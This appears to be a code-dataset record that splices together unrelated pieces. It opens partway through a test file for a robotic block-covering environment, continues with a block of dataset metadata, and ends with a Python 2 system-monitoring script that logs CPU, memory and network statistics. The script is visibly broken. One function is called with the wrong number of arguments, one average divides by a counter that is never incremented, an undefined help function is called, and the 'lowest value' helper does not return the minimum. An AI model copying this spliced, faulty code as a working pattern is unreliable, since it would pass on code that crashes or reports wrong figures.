np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
# Move down to grasp
np.array([0., -0.05, 0], dtype=np.float32),
np.array([0., -0.05, 0.], dtype=np.float32),
np.array([0., -0.05, 0.], dtype=np.float32),
np.array([0., -0.05, 0.], dtype=np.float32),
np.array([0., -0.05, 0.], dtype=np.float32),
np.array([0., -0.045, 0.1], dtype=np.float32),
# Move up to a safe height
np.array([0., 0.05, 0.1], dtype=np.float32),
np.array([0., 0.05, 0.1], dtype=np.float32),
np.array([0., 0.05, 0.1], dtype=np.float32),
np.array([0., 0.05, 0.1], dtype=np.float32),
np.array([0., 0.05, 0.1], dtype=np.float32),
np.array([0., 0.05, 0.1], dtype=np.float32),
np.array([0., 0.05, 0.1], dtype=np.float32),
# Move to above target
np.array([-0.05, 0., 0.1], dtype=np.float32),
np.array([-0.05, 0., 0.1], dtype=np.float32),
np.array([+0.05, 0., 0.1], dtype=np.float32),
np.array([+0.05, 0., 0.1], dtype=np.float32),
np.array([-0.05, 0., 0.1], dtype=np.float32),
np.array([-0.05, 0., 0.1], dtype=np.float32),
np.array([-0.05, 0., 0.1], dtype=np.float32),
np.array([-0.05, 0., 0.1], dtype=np.float32),
np.array([-0.05, 0., 0.1], dtype=np.float32),
np.array([-0.025, 0., 0.1], dtype=np.float32),
# Move down to prepare to place
np.array([0., -0.05, 0.1], dtype=np.float32),
np.array([0., -0.05, 0.1], dtype=np.float32),
np.array([0., -0.05, 0.1], dtype=np.float32),
np.array([0., -0.05, 0.1], dtype=np.float32),
np.array([0., -0.05, 0.1], dtype=np.float32),
np.array([0., -0.04, 0.1], dtype=np.float32),
# Ungrasp
np.array([0., 0., -0.1], dtype=np.float32),
]
make_video = False # Can toggle to true for debugging
def policy(s: State) -> Action:
del s # unused
return Action(action_arrs.pop(0))
traj, video, _ = utils.run_policy_on_task(
policy, task, env.simulate, len(action_arrs),
env.render if make_video else None)
if make_video:
outfile = "hardcoded_actions_com.mp4" # pragma: no cover
utils.save_video(outfile, video) # pragma: no cover
state = traj.states[0]
env.render(state, task)
# Render a state where we're grasping
env.render(traj.states[20], task)
block0 = [b for b in state if b.name == "block0"][0]
block1 = [b for b in state if b.name == "block1"][0]
target0 = [b for b in state if b.name == "target0"][0]
target1 = [b for b in state if b.name == "target1"][0]
block0 = [b for b in state if b.name == "block0"][0]
target0 = [b for b in state if b.name == "target0"][0]
Covers = [p for p in env.predicates if p.name == "Covers"][0]
init_atoms = utils.abstract(state, env.predicates)
final_atoms = utils.abstract(traj.states[-1], env.predicates)
assert Covers([block0, target0]) not in init_atoms
assert Covers([block0, target0]) in final_atoms
# Run through a specific plan of options.
pick_option = [o for o in env.options if o.name == "Pick"][0]
place_option = [o for o in env.options if o.name == "Place"][0]
plan = [
pick_option.ground([block1], [0.0]),
place_option.ground([target1], [0.0]),
pick_option.ground([block0], [0.0]),
place_option.ground([target0], [0.0]),
]
assert plan[0].initiable(state)
make_video = False # Can toggle to true for debugging
traj, video, _ = utils.run_policy_on_task(
utils.option_plan_to_policy(plan), task, env.simulate, 100,
env.render if make_video else None)
if make_video:
outfile = "hardcoded_options_com.mp4" # pragma: no cover
utils.save_video(outfile, video) # pragma: no cover
final_atoms = utils.abstract(traj.states[-1], env.predicates)
assert Covers([block0, target0]) in final_atoms
assert Covers([block1, target1]) in final_atoms
# Test moving into a forbidden zone
state = task.init
for _ in range(10):
act = Action(np.array([0., -0.05, 0], dtype=np.float32))
state = env.simulate(state, act)
# Check collision of the robot with a block.
action_arrs = [
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0., -0.05, 0], dtype=np.float32),
np.array([0., -0.05, 0.], dtype=np.float32),
np.array([0., -0.05, 0.], dtype=np.float32),
np.array([0., -0.05, 0.], dtype=np.float32),
np.array([0., -0.05, 0.], dtype=np.float32),
np.array([0., -0.06, 0.0], dtype=np.float32),
]
make_video = False # Can toggle to true for debugging
traj, video, _ = utils.run_policy_on_task(
policy, task, env.simulate, len(action_arrs),
env.render if make_video else None)
if make_video:
outfile = "hardcoded_actions_robot_collision1.mp4" # pragma: no cover
utils.save_video(outfile, video) # pragma: no cover
robot = [r for r in traj.states[0] if r.name == "robby"][0]
assert np.array_equal(traj.states[-1][robot], traj.states[-2][robot])
# Check collision of the robot with the floor.
action_arrs = [
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0., -0.1, 0], dtype=np.float32),
np.array([0., -0.1, 0], dtype=np.float32),
np.array([0., -0.1, 0], dtype=np.float32),
np.array([0., -0.05, 0], dtype=np.float32),
np.array([0., -0.1, 0], dtype=np.float32),
]
make_video = False # Can toggle to true for debugging
traj, video, _ = utils.run_policy_on_task(
policy, task, env.simulate, len(action_arrs),
env.render if make_video else None)
if make_video:
outfile = "hardcoded_actions_robot_collision2.mp4" # pragma: no cover
utils.save_video(outfile, video) # pragma: no cover
robot = [r for r in traj.states[0] if r.name == "robby"][0]
assert np.array_equal(traj.states[-1][robot], traj.states[-2][robot])
# Check collision of held block with a block via overlap.
action_arrs = [
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0., -0.05, 0], dtype=np.float32),
np.array([0., -0.05, 0.], dtype=np.float32),
np.array([0., -0.05, 0.], dtype=np.float32),
np.array([0., -0.05, 0.], dtype=np.float32),
np.array([0., -0.05, 0.], dtype=np.float32),
np.array([0., -0.045, 0.1], dtype=np.float32),
np.array([0., 0.05, 0.1], dtype=np.float32),
np.array([0., 0.05, 0.1], dtype=np.float32),
np.array([0., 0.05, 0.1], dtype=np.float32),
np.array([0., 0.05, 0.1], dtype=np.float32),
np.array([0., 0.05, 0.1], dtype=np.float32),
np.array([0., 0.05, 0.1], dtype=np.float32),
np.array([0., 0.05, 0.1], dtype=np.float32),
np.array([0.1, 0., 0.1], dtype=np.float32),
np.array([0.1, 0., 0.1], dtype=np.float32),
np.array([0.1, 0., 0.1], dtype=np.float32),
np.array([0.1, 0., 0.1], dtype=np.float32),
np.array([0., -0.1, 0.1], dtype=np.float32),
np.array([0., -0.1, 0.1], dtype=np.float32),
np.array([0., -0.1, 0.1], dtype=np.float32),
]
make_video = False # Can toggle to true for debugging
traj, video, _ = utils.run_policy_on_task(
policy, task, env.simulate, len(action_arrs),
env.render if make_video else None)
if make_video:
outfile = "hardcoded_actions_block_collision1.mp4" # pragma: no cover
utils.save_video(outfile, video) # pragma: no cover
robot = [r for r in traj.states[0] if r.name == "robby"][0]
assert np.array_equal(traj.states[-1][robot], traj.states[-2][robot])
# Check collision of held block with a block via translation intersection.
action_arrs = [
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0., -0.05, 0], dtype=np.float32),
np.array([0., -0.05, 0.], dtype=np.float32),
np.array([0., -0.05, 0.], dtype=np.float32),
np.array([0., -0.05, 0.], dtype=np.float32),
np.array([0., -0.05, 0.], dtype=np.float32),
np.array([0., -0.045, 0.1], dtype=np.float32),
np.array([0., 0.05, 0.1], dtype=np.float32),
np.array([0., 0.05, 0.1], dtype=np.float32),
np.array([0., 0.05, 0.1], dtype=np.float32),
np.array([0., 0.05, 0.1], dtype=np.float32),
np.array([0., 0.05, 0.1], dtype=np.float32),
np.array([0., 0.05, 0.1], dtype=np.float32),
np.array([0.1, 0., 0.1], dtype=np.float32),
np.array([0.1, 0., 0.1], dtype=np.float32),
np.array([0.08, 0., 0.1], dtype=np.float32),
np.array([0., -0.1, 0.1], dtype=np.float32),
np.array([0., -0.1, 0.1], dtype=np.float32),
np.array([0., -0.05, 0.1], dtype=np.float32),
np.array([0.1, 0.1, 0.1], dtype=np.float32),
]
make_video = False # Can toggle to true for debugging
traj, video, _ = utils.run_policy_on_task(
policy, task, env.simulate, len(action_arrs),
env.render if make_video else None)
if make_video:
outfile = "hardcoded_actions_block_collision2.mp4" # pragma: no cover
utils.save_video(outfile, video) # pragma: no cover
robot = [r for r in traj.states[0] if r.name == "robby"][0]
assert np.array_equal(traj.states[-1][robot], traj.states[-2][robot])
# Check collision of held block with the floor.
action_arrs = [
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0.05, 0., 0.], dtype=np.float32),
np.array([0., -0.05, 0], dtype=np.float32),
np.array([0., -0.05, 0.], dtype=np.float32),
np.array([0., -0.05, 0.], dtype=np.float32),
np.array([0., -0.05, 0.], dtype=np.float32),
np.array([0., -0.05, 0.], dtype=np.float32),
np.array([0., -0.045, 0.1], dtype=np.float32),
np.array([0., 0.05, 0.1], dtype=np.float32),
np.array([0., 0.05, 0.1], dtype=np.float32),
np.array([0., 0.05, 0.1], dtype=np.float32),
np.array([0., 0.05, 0.1], dtype=np.float32),
np.array([0., 0.05, 0.1], dtype=np.float32),
np.array([0., 0.05, 0.1], dtype=np.float32),
np.array([0.1, 0., 0.1], dtype=np.float32),
np.array([0.1, 0., 0.1], dtype=np.float32),
np.array([0.08, 0., 0.1], dtype=np.float32),
np.array([0., -0.1, 0.1], dtype=np.float32),
np.array([0., -0.1, 0.1], dtype=np.float32),
np.array([0., -0.05, 0.1], dtype=np.float32),
np.array([0., -0.07, 0.1], dtype=np.float32),
]
make_video = False # Can toggle to true for debugging
traj, video, _ = utils.run_policy_on_task(
policy, task, env.simulate, len(action_arrs),
env.render if make_video else None)
if make_video:
outfile = "hardcoded_actions_block_collision3.mp4" # pragma: no cover
utils.save_video(outfile, video) # pragma: no cover
robot = [r for r in traj.states[0] if r.name == "robby"][0]
assert np.array_equal(traj.states[-1][robot], traj.states[-2][robot])
def test_cover_multistep_options_fixed_tasks():
"""Tests for CoverMultistepOptionsFixedTasks."""
utils.reset_config({
"env": "cover_multistep_options_fixed_tasks",
"num_train_tasks": 10,
"num_test_tasks": 10
})
env = CoverMultistepOptionsFixedTasks()
env.seed(123)
# This env is mostly the same as CoverMultistepOptions(), so we just test
# that the tasks are indeed fixed.
state = None
all_goals = set()
for task in env.get_train_tasks():
if state is None:
state = task.init
assert state.allclose(task.init)
all_goals.add(frozenset(task.goal))
assert len(all_goals) == 3
for task in env.get_test_tasks():
assert state.allclose(task.init)
assert frozenset(task.goal) in all_goals
| 44.805556
| 78
| 0.579872
| 3,680
| 24,195
| 3.743478
| 0.062772
| 0.023229
| 0.087689
| 0.16144
| 0.856853
| 0.836527
| 0.814024
| 0.801103
| 0.801103
| 0.79065
| 0
| 0.076974
| 0.249886
| 24,195
| 539
| 79
| 44.888683
| 0.682076
| 0.110519
| 0
| 0.809829
| 0
| 0
| 0.031794
| 0.017555
| 0
| 0
| 0
| 0
| 0.151709
| 1
| 0.012821
| false
| 0
| 0.010684
| 0
| 0.025641
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
4fa82db8a2cd0ae95cb42dab0b6cc82dc1d8288c
| 47,580
|
py
|
Python
|
sysmon-no-temp.py
|
ckinateder/sysmon-1.0.1
|
f957a3198627787532d6d5094c3dfd555dee5018
|
[
"MIT"
] | 4
|
2015-11-02T05:57:19.000Z
|
2018-05-02T18:33:06.000Z
|
sysmon-no-temp.py
|
ckinateder/sysmon-1.0.1
|
f957a3198627787532d6d5094c3dfd555dee5018
|
[
"MIT"
] | 2
|
2015-06-11T15:27:33.000Z
|
2018-05-02T18:36:28.000Z
|
sysmon-no-temp.py
|
ckinateder/sysmon-1.0.1
|
f957a3198627787532d6d5094c3dfd555dee5018
|
[
"MIT"
] | 2
|
2015-06-11T14:36:30.000Z
|
2018-03-05T19:22:37.000Z
|
#!/usr/bin/env python
import sys, os ,datetime, time, psutil, getopt
version = "1.0.1"
cpu_perc = psutil.cpu_percent(interval=1, percpu=True) #test for number of cores
if len(cpu_perc) == 4:
#
mem_perc = 0 #init var
swap_perc = 0 #init var
mbytes_sent = 0 #init var
mbytes_recv = 0 #init var
cpu_perc = 0 #init var
swap = 0 #init var
mem = 0 #init var
net = 0 #init var
cpu1_list = []
cpu2_list = []
cpu3_list = []
cpu4_list = []
swap_list = []
mem_list = []
mbytes_sent_list = []
mbytes_recv_list = []
#
def rtcheck(seconds):
try:
seconds = int(seconds)
return seconds
except ValueError:
return -1
def getavg(l):
out = 0
for a in range(0,len(l)):
out = out+l[a]
out = float(out) / len(l)
return out
def gethigh(l):
out = 0
for a in range(0,len(l)):
if l[a] > out:
out = l[a]
return out
def getlow(l):
out = 0
h = gethigh(l)
for a in range(0, len(l)):
if l[a] < h:
out = l[a]
return out
def disp(degree):
global cpu_perc
global swap
global swap_perc
global mem
global mem_perc
global net
global mbytes_sent
global mbytes_recv
cpu_perc = psutil.cpu_percent(interval=1, percpu=True)
swap = psutil.swap_memory()
swap_perc = swap.percent
mem = psutil.virtual_memory()
mem_perc = mem.percent
net = psutil.net_io_counters()
mbytes_sent = float(net.bytes_sent) / 1048576
mbytes_recv = float(net.bytes_recv) / 1048576
os.system('clear') #clear the screen
print "-"*30
print "CPU"
print "-"*30
#print "CPU Temperature: " , temp, "'C"
for i in range(len(cpu_perc)):
print "CPU Core", str(i+1),":", str(cpu_perc[i]), "%"
print "-"*30
print "MEMORY"
print "-"*30
print "RAM: ", mem_perc, "%"
print "Swap: ", swap_perc, "%"
print "-"*30
print "NETWORK"
print "-"*30
print "MB sent: ", mbytes_sent
print "MB received: ", mbytes_recv
def main():
global version
avg = 0
ver = 0
run = 0
help = 0
check = 0
runtime = 5
degree = 0
seccount = 0
seclast = 0
minutes = 0
temp = 21
tsum = 0
ticker = 0
exitmsg = ""
print "sysmon" , version
if ver == 1:
sys.exit()
if help == 1:
usageinfo(check, run, exitmsg)
if run == 1:
runtime = rtcheck(runtime)
if runtime < 1:
help = 1
exitmsg = "Seconds must be defined as an integer greater than zero."
usageinfo()
bseconds = int(time.time())
if avg == 0:
print("Press Ctrl+C to exit")
try :
while True:
#
disp(degree)
cpu1_list.append(float(cpu_perc[0]))
cpu2_list.append(float(cpu_perc[1]))
cpu3_list.append(float(cpu_perc[2]))
cpu4_list.append(float(cpu_perc[3]))
swap_list.append(swap_perc)
mem_list.append(mem_perc)
mbytes_sent_list.append(mbytes_sent)
mbytes_recv_list.append(mbytes_recv)
time.sleep(1)
sys.stdout.flush()
#When Ctrl-C is pressed, show summary data
except KeyboardInterrupt :
pass
#add this info for cpu, ram
avg_cpu1_perc = getavg(cpu1_list) #get averages and print them
avg_cpu2_perc = getavg(cpu2_list)
avg_cpu3_perc = getavg(cpu3_list)
avg_cpu4_perc = getavg(cpu4_list)
avg_mem_perc = getavg(mem_list)
avg_swap_perc = getavg(swap_list)
high_cpu1_perc = gethigh(cpu1_list) #get highs and print them
high_cpu2_perc = gethigh(cpu2_list)
high_cpu3_perc = gethigh(cpu3_list)
high_cpu4_perc = gethigh(cpu4_list)
high_mem_perc = gethigh(mem_list)
high_swap_perc = gethigh(swap_list)
low_cpu1_perc = getlow(cpu1_list) #get lows and print them
low_cpu2_perc = getlow(cpu2_list)
low_cpu3_perc = getlow(cpu3_list)
low_cpu4_perc = getlow(cpu4_list)
low_mem_perc = getlow(mem_list)
low_swap_perc = getlow(swap_list)
#print "\n\nAverage CPU temperature was",tavg,"degrees Celsius"
print "Average CPU1 percent was",avg_cpu1_perc,"%"
print "Average CPU2 percent was",avg_cpu2_perc,"%"
print "Average CPU3 percent was",avg_cpu3_perc,"%"
print "Average CPU4 percent was",avg_cpu4_perc,"%"
print "Average RAM percent was",avg_mem_perc,"%"
print "Average SWAP percent was",avg_swap_perc,"%\n"
#print "Highest CPU temperature was",tmax,"degrees Celsius"
print "Highest CPU1 percent was",high_cpu1_perc,"%"
print "Highest CPU2 percent was",high_cpu2_perc,"%"
print "Highest CPU3 percent was",high_cpu3_perc,"%"
print "Highest CPU4 percent was",high_cpu4_perc,"%"
print "Highest RAM percent was",high_mem_perc,"%"
print "Highest SWAP percent was",high_swap_perc,"%\n"
#print "Lowest CPU temperature was",tmin,"degrees Celsius"
print "Lowest CPU1 percent was",low_cpu1_perc,"%"
print "Lowest CPU2 percent was",low_cpu2_perc,"%"
print "Lowest CPU3 percent was",low_cpu3_perc,"%"
print "Lowest CPU4 percent was",low_cpu4_perc,"%"
print "Lowest RAM percent was",low_mem_perc,"%"
print "Lowest SWAP percent was",low_swap_perc,"%\n"
if avg == 1:
return 0
elif os.path.exists("/var/log/sysmon.log") == True:
tod = datetime.datetime.now()
syslog = open ( "/var/log/sysmon.log" , "a" )
syslog.write ("---------------\n")
#syslog.write ("\nAverage CPU temperature was ")
#syslog.write (str(tavg))
#syslog.write (" degrees Celsius\n")
syslog.write ("\nAverage CPU1 percent was ")
syslog.write (str(avg_cpu1_perc))
syslog.write ("\nAverage CPU2 percent was ")
syslog.write (str(avg_cpu2_perc))
syslog.write ("\nAverage CPU3 percent was ")
syslog.write (str(avg_cpu3_perc))
syslog.write ("\nAverage CPU4 percent was ")
syslog.write (str(avg_cpu4_perc))
syslog.write ("\nAverage RAM percent was ")
syslog.write (str(avg_mem_perc))
syslog.write ("\nAverage SWAP percent was ")
syslog.write (str(avg_swap_perc))
#syslog.write ("\nHighest CPU temperature was ")
#syslog.write (str(tmax))
#syslog.write (" degrees Celsius\n")
syslog.write ("\nHighest CPU1 percent was ")
syslog.write (str(high_cpu1_perc))
syslog.write ("\nHighest CPU2 percent was ")
syslog.write (str(high_cpu2_perc))
syslog.write ("\nHighest CPU3 percent was ")
syslog.write (str(high_cpu3_perc))
syslog.write ("\nHighest CPU4 percent was ")
syslog.write (str(high_cpu4_perc))
syslog.write ("\nHighest RAM percent was ")
syslog.write (str(high_mem_perc))
syslog.write ("\nHighest SWAP percent was ")
syslog.write (str(high_swap_perc))
#syslog.write ("\nLowest CPU temperature was ")
#syslog.write (str(tmin))
# syslog.write (" degrees Celsius\n")
syslog.write ("\nLowest CPU1 percent was ")
syslog.write (str(low_cpu1_perc))
syslog.write ("\nLowest CPU2 percent was ")
syslog.write (str(low_cpu2_perc))
syslog.write ("\nLowest CPU3 percent was ")
syslog.write (str(low_cpu3_perc))
syslog.write ("\nLowest CPU4 percent was ")
syslog.write (str(low_cpu4_perc))
syslog.write ("\nLowest RAM percent was ")
syslog.write (str(low_mem_perc))
syslog.write ("\nLowest SWAP percent was ")
syslog.write (str(low_swap_perc))
syslog.write ("\n\nDATE/TIME: ")
syslog.write (str(tod))
syslog.write ("\n\n---------------\n")
print("Log has been updated")
else:
print("Could not locate log file. Please re-install.")
return 1
elif len(cpu_perc) == 2:
#
mem_perc = 0 #init var
swap_perc = 0 #init var
mbytes_sent = 0 #init var
mbytes_recv = 0 #init var
cpu_perc = 0 #init var
swap = 0 #init var
mem = 0 #init var
net = 0 #init var
cpu1_list = []
cpu2_list = []
swap_list = []
mem_list = []
mbytes_sent_list = []
mbytes_recv_list = []
#
def rtcheck(seconds):
try:
seconds = int(seconds)
return seconds
except ValueError:
return -1
def getavg(l):
out = 0
for a in range(0,len(l)):
out = out+l[a]
out = float(out) / len(l)
return out
def gethigh(l):
out = 0
for a in range(0,len(l)):
if l[a] > out:
out = l[a]
return out
def getlow(l):
out = 0
h = gethigh(l)
for a in range(0, len(l)):
if l[a] < h:
out = l[a]
return out
def disp(degree):
global cpu_perc
global swap
global swap_perc
global mem
global mem_perc
global net
global mbytes_sent
global mbytes_recv
cpu_perc = psutil.cpu_percent(interval=1, percpu=True)
swap = psutil.swap_memory()
swap_perc = swap.percent
mem = psutil.virtual_memory()
mem_perc = mem.percent
net = psutil.net_io_counters()
mbytes_sent = float(net.bytes_sent) / 1048576
mbytes_recv = float(net.bytes_recv) / 1048576
os.system('clear') #clear the screen
print "-"*30
print "CPU"
print "-"*30
#print "CPU Temperature: " , temp, "'C"
for i in range(len(cpu_perc)):
print "CPU Core", str(i+1),":", str(cpu_perc[i]), "%"
print "-"*30
print "MEMORY"
print "-"*30
print "RAM: ", mem_perc, "%"
print "Swap: ", swap_perc, "%"
print "-"*30
print "NETWORK"
print "-"*30
print "MB sent: ", mbytes_sent
print "MB received: ", mbytes_recv
def main():
global version
avg = 0
ver = 0
run = 0
help = 0
check = 0
runtime = 5
degree = 0
seccount = 0
seclast = 0
minutes = 0
temp = 21
tsum = 0
ticker = 0
exitmsg = ""
print "sysmon" , version
if ver == 1:
sys.exit()
if help == 1:
usageinfo(check, run, exitmsg)
if run == 1:
runtime = rtcheck(runtime)
if runtime < 1:
help = 1
exitmsg = "Seconds must be defined as an integer greater than zero."
usageinfo()
bseconds = int(time.time())
if avg == 0:
print("Press Ctrl+C to exit")
try :
while True:
disp(degree)
cpu1_list.append(float(cpu_perc[0]))
cpu2_list.append(float(cpu_perc[1]))
swap_list.append(swap_perc)
mem_list.append(mem_perc)
mbytes_sent_list.append(mbytes_sent)
mbytes_recv_list.append(mbytes_recv)
time.sleep(1)
sys.stdout.flush()
#When Ctrl-C is pressed, show summary data
except KeyboardInterrupt :
pass
#add this info for cpu, ram
avg_cpu1_perc = getavg(cpu1_list) #get averages and print them
avg_cpu2_perc = getavg(cpu2_list)
avg_mem_perc = getavg(mem_list)
avg_swap_perc = getavg(swap_list)
high_cpu1_perc = gethigh(cpu1_list) #get highs and print them
high_cpu2_perc = gethigh(cpu2_list)
high_mem_perc = gethigh(mem_list)
high_swap_perc = gethigh(swap_list)
low_cpu1_perc = getlow(cpu1_list) #get lows and print them
low_cpu2_perc = getlow(cpu2_list)
low_mem_perc = getlow(mem_list)
low_swap_perc = getlow(swap_list)
print "Average CPU1 percent was",avg_cpu1_perc,"%"
print "Average CPU2 percent was",avg_cpu2_perc,"%"
print "Average RAM percent was",avg_mem_perc,"%"
print "Average SWAP percent was",avg_swap_perc,"%\n"
print "Highest CPU1 percent was",high_cpu1_perc,"%"
print "Highest CPU2 percent was",high_cpu2_perc,"%"
print "Highest RAM percent was",high_mem_perc,"%"
print "Highest SWAP percent was",high_swap_perc,"%\n"
print "Lowest CPU1 percent was",low_cpu1_perc,"%"
print "Lowest CPU2 percent was",low_cpu2_perc,"%"
print "Lowest RAM percent was",low_mem_perc,"%"
print "Lowest SWAP percent was",low_swap_perc,"%\n"
if avg == 1:
return 0
elif os.path.exists("/var/log/sysmon.log") == True:
tod = datetime.datetime.now()
syslog = open ( "/var/log/sysmon.log" , "a" )
syslog.write ("---------------\n")
syslog.write ("\nAverage CPU1 percent was ")
syslog.write (str(avg_cpu1_perc))
syslog.write ("\nAverage CPU2 percent was ")
syslog.write (str(avg_cpu2_perc))
syslog.write ("\nAverage RAM percent was ")
syslog.write (str(avg_mem_perc))
syslog.write ("\nAverage SWAP percent was ")
syslog.write (str(avg_swap_perc))
syslog.write ("\nHighest CPU1 percent was ")
syslog.write (str(high_cpu1_perc))
syslog.write ("\nHighest CPU2 percent was ")
syslog.write (str(high_cpu2_perc))
syslog.write ("\nHighest RAM percent was ")
syslog.write (str(high_mem_perc))
syslog.write ("\nHighest SWAP percent was ")
syslog.write (str(high_swap_perc))
syslog.write ("\nLowest CPU1 percent was ")
syslog.write (str(low_cpu1_perc))
syslog.write ("\nLowest CPU2 percent was ")
syslog.write (str(low_cpu2_perc))
syslog.write ("\nLowest RAM percent was ")
syslog.write (str(low_mem_perc))
syslog.write ("\nLowest SWAP percent was ")
syslog.write (str(low_swap_perc))
syslog.write ("\n\nDATE/TIME: ")
syslog.write (str(tod))
syslog.write ("\n\n---------------\n")
print("Log has been updated")
else:
print("Could not locate log file. Please re-install.")
return 1
elif len(cpu_perc) == 8:
#
mem_perc = 0 #init var
swap_perc = 0 #init var
mbytes_sent = 0 #init var
mbytes_recv = 0 #init var
cpu_perc = 0 #init var
swap = 0 #init var
mem = 0 #init var
net = 0 #init var
cpu1_list = []
cpu2_list = []
cpu3_list = []
cpu4_list = []
cpu5_list = []
cpu6_list = []
cpu7_list = []
cpu8_list = []
swap_list = []
mem_list = []
mbytes_sent_list = []
mbytes_recv_list = []
#
def rtcheck(seconds):
try:
seconds = int(seconds)
return seconds
except ValueError:
return -1
def getavg(l):
out = 0
for a in range(0,len(l)):
out = out+l[a]
out = float(out) / len(l)
return out
def gethigh(l):
out = 0
for a in range(0,len(l)):
if l[a] > out:
out = l[a]
return out
def getlow(l):
out = 0
h = gethigh(l)
for a in range(0, len(l)):
if l[a] < h:
out = l[a]
return out
def disp(temp,degree):
global cpu_perc
global swap
global swap_perc
global mem
global mem_perc
global net
global mbytes_sent
global mbytes_recv
cpu_perc = psutil.cpu_percent(interval=1, percpu=True)
swap = psutil.swap_memory()
swap_perc = swap.percent
mem = psutil.virtual_memory()
mem_perc = mem.percent
net = psutil.net_io_counters()
mbytes_sent = float(net.bytes_sent) / 1048576
mbytes_recv = float(net.bytes_recv) / 1048576
os.system('clear') #clear the screen
print "-"*30
print "CPU"
print "-"*30
#print "CPU Temperature: " , temp, "'C"
for i in range(len(cpu_perc)):
print "CPU Core", str(i+1),":", str(cpu_perc[i]), "%"
print "-"*30
print "MEMORY"
print "-"*30
print "RAM: ", mem_perc, "%"
print "Swap: ", swap_perc, "%"
print "-"*30
print "NETWORK"
print "-"*30
print "MB sent: ", mbytes_sent
print "MB received: ", mbytes_recv
def main():
global version
avg = 0
ver = 0
run = 0
help = 0
check = 0
runtime = 5
degree = 0
seccount = 0
seclast = 0
minutes = 0
temp = 21
tsum = 0
ticker = 0
exitmsg = ""
print "sysmon" , version
if ver == 1:
sys.exit()
if help == 1:
usageinfo(check, run, exitmsg)
if run == 1:
runtime = rtcheck(runtime)
if runtime < 1:
help = 1
exitmsg = "Seconds must be defined as an integer greater than zero."
usageinfo()
prevtemp = 21
tmax = 0
tmin = 1000
bseconds = int(time.time())
if avg == 0:
print("Press Ctrl+C to exit")
try :
while True:
#
disp(degree)
cpu1_list.append(float(cpu_perc[0]))
cpu2_list.append(float(cpu_perc[1]))
cpu3_list.append(float(cpu_perc[2]))
cpu4_list.append(float(cpu_perc[3]))
cpu5_list.append(float(cpu_perc[4]))
cpu6_list.append(float(cpu_perc[5]))
cpu7_list.append(float(cpu_perc[6]))
cpu8_list.append(float(cpu_perc[7]))
swap_list.append(swap_perc)
mem_list.append(mem_perc)
mbytes_sent_list.append(mbytes_sent)
mbytes_recv_list.append(mbytes_recv)
time.sleep(1)
sys.stdout.flush()
#When Ctrl-C is pressed, show summary data
except KeyboardInterrupt :
pass
tavg = tsum / ticker
tavg = round(tavg, 1)
#add this info for cpu, ram
avg_cpu1_perc = getavg(cpu1_list) #get averages and print them
avg_cpu2_perc = getavg(cpu2_list)
avg_cpu3_perc = getavg(cpu3_list)
avg_cpu4_perc = getavg(cpu4_list)
avg_cpu5_perc = getavg(cpu5_list) #get averages and print them
avg_cpu6_perc = getavg(cpu6_list)
avg_cpu7_perc = getavg(cpu7_list)
avg_cpu8_perc = getavg(cpu8_list)
avg_mem_perc = getavg(mem_list)
avg_swap_perc = getavg(swap_list)
high_cpu1_perc = gethigh(cpu1_list) #get highs and print them
high_cpu2_perc = gethigh(cpu2_list)
high_cpu3_perc = gethigh(cpu3_list)
high_cpu4_perc = gethigh(cpu4_list)
high_cpu5_perc = gethigh(cpu5_list) #get highs and print them
high_cpu6_perc = gethigh(cpu6_list)
high_cpu7_perc = gethigh(cpu7_list)
high_cpu8_perc = gethigh(cpu8_list)
high_mem_perc = gethigh(mem_list)
high_swap_perc = gethigh(swap_list)
low_cpu1_perc = getlow(cpu1_list) #get lows and print them
low_cpu2_perc = getlow(cpu2_list)
low_cpu3_perc = getlow(cpu3_list)
low_cpu4_perc = getlow(cpu4_list)
low_cpu5_perc = getlow(cpu5_list) #get lows and print them
low_cpu6_perc = getlow(cpu6_list)
low_cpu7_perc = getlow(cpu7_list)
low_cpu8_perc = getlow(cpu8_list)
low_mem_perc = getlow(mem_list)
low_swap_perc = getlow(swap_list)
